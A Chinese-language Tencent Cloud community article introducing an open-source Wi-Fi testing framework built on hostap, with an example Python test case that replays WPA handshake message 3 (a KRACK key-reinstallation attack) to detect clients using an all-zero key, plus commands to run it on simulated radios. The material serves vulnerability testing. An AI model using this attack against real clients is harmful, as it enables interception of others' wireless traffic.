可用于创建模糊器、实施新攻击、创建概念验证以测试漏洞、自动化实验、实施测试套件等。
该框架的主要优点是它允许您重用 Linux 的 Wi-Fi 功能来更轻松地实施攻击和/或测试。例如,该框架可以为您连接到(受保护的)Wi-Fi 网络,并可以在测试客户端时为您广播信标。一般来说,Linux 的任何 Wi-Fi 功能都可以重用,以更快地实施攻击/测试。该框架通过在hostap用户空间守护进程之上执行测试用例来实现这一点。

Wi-Fi 守护程序和框架组件的概述。
如果您不熟悉在 Linux 上执行 Wi-Fi 实验,强烈建议您先阅读libwifi Linux 教程。当您在不需要重用 Linux 功能的情况下实施基本的 Wi-Fi 攻击时,该框架提供的优势有限,您可以考虑直接在 Scapy 中实施攻击,并可选择使用libwifi库。
假设您想测试客户端是否曾经使用全零密钥加密帧。这可能发生在密钥重新安装攻击期间。通过使用该框架,您不需要重新实现接入点的所有功能,而只需要编写以下测试用例:
class ExampleKrackZerokey(Test):
name = "example-krack-zero-key"
kind = Test.Authenticator
def __init__(self):
super().__init__([
# Replay 4-Way Handshake Message 3/4.
Action( trigger=Trigger.Connected, action=Action.Function ),
# Receive all frames and search for one encrypted with an all-zero key.
Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
# When we receive such a frame, we can terminate the test.
Action( trigger=Trigger.Received, action=Action.Terminate )
])
def resend(self, station):
# Resend 4-Way Handshake Message 3/4.
station.wpaspy_command("RESEND_M3 " + station.clientmac )
def receive(self, station, frame):
if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
return False
# Check if CCMP-encrypted frame can be decrypted using an all-zero key
plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
if plaintext is None: return False
# We received a valid plaintext frame!
log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
return True上面的测试用例将创建一个客户端可以连接的接入点。客户端连接后,将向客户端发送新的 4 次握手中的第 3 条消息。然后,易受攻击的客户端将开始使用测试用例自动检测到的全零加密密钥。
您可以使用模拟的 Wi-Fi 无线电运行上述测试用例,如下所示:
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key您可以连接到创建的接入点进行测试:
./hostap.py wlan2通过更改网络配置,此 AP 可以轻松配置为使用 WPA2 或 WPA3 和/或可以配置为使用企业身份验证,而无需对我们编写的测试用例进行任何更改!在此示例中使用该框架的其他好处是:
https://github.com/domienschepers/wifi-framework#usage
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。